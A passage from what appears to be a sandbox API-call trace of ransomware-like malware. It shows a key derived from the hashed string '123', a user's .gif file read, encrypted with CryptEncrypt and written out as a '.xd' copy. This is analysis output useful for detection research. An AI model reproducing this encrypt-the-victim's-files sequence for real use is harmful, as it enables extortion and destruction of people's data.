cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.180] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.180] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.180] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.180] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217c8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.180] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.180] CryptHashData (hHash=0x164c430, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.181] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.181] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.181] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.181] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.181] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.181] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621810, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.182] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.182] CryptDeriveKey (in: hProv=0x17a9f88, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0060.182] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.182] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.182] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.182] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.182] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.182] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.182] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.182] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.183] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.183] CryptDestroyHash (hHash=0x164c430) returned 1 [0060.183] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.183] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.183] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.183] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.183] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.183] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\d3xtm3mukq_nic1qjj.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.184] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.184] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.184] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.184] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.184] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.184] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1")) returned 0x10 [0060.184] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\D3XtM3Mukq_NIC1QJJ.gif.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\d3xtm3mukq_nic1qjj.gif.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.185] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.186] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.186] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.186] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.188] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.188] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xbdb9, lpOverlapped=0x0) returned 1 [0060.189] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.192] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0060.192] TranslateMessage (lpMsg=0x130f164) returned 0 [0060.192] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0060.192] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0060.196] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0060.196] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0060.196] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.196] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.196] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.196] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.197] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.197] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.197] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.197] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.197] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.197] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.198] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.198] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.198] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.198] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629450, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629450*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0060.198] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.198] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.200] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.201] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.201] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.201] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.201] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.201] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.201] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.201] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.201] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.201] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.201] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.201] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.202] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.202] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.202] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621858, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.203] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.204] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xbdb9, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xbdc0) returned 1 [0060.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.204] CharLowerBuffW (in: lpsz="byte[48577]", cchLength=0xb | out: lpsz="byte[48577]") returned 0xb [0060.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.205] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.205] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.205] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.205] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.206] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.206] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1800748*, pdwDataLen=0x130e618*=0xbdb9, dwBufLen=0xbdc0 | out: pbData=0x1800748*, pdwDataLen=0x130e618*=0xbdc0) returned 1 [0060.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.207] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.207] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.207] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.207] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.207] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.207] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.207] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.207] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.207] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.207] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.207] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.207] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.210] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.210] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.210] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.211] WriteFile (in: hFile=0x2ac, lpBuffer=0x183bc40*, nNumberOfBytesToWrite=0xbdc0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x183bc40*, lpNumberOfBytesWritten=0x130f01c*=0xbdc0, lpOverlapped=0x0) returned 1 [0060.212] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.212] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.212] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.212] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.212] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.212] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.212] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 